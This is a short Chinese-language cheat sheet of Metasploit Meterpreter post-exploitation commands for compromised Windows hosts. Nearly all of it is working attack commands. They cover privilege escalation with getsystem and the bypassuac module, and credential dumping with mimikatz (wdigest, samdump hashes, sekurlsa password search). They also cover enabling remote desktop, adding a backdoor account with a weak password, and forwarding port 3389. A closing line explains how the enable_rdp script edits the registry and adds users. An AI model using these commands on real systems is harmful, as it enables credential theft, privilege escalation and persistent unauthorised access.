getuid 当前用户
getsystem 提权
bypassuac 提权
显示会话 sessions -i
进入一个会话 session -i 1
load mimikatz 获取帐号密码
wdigest 获取密码
mimikatz_command -f samdump::hashes
取得原始加密密码
mimikatz_command -f sekurlsa::searchPasswords
use exploit/windows/local/bypassuac
set SESSION 2
run
enable_rdp脚本
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662
脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令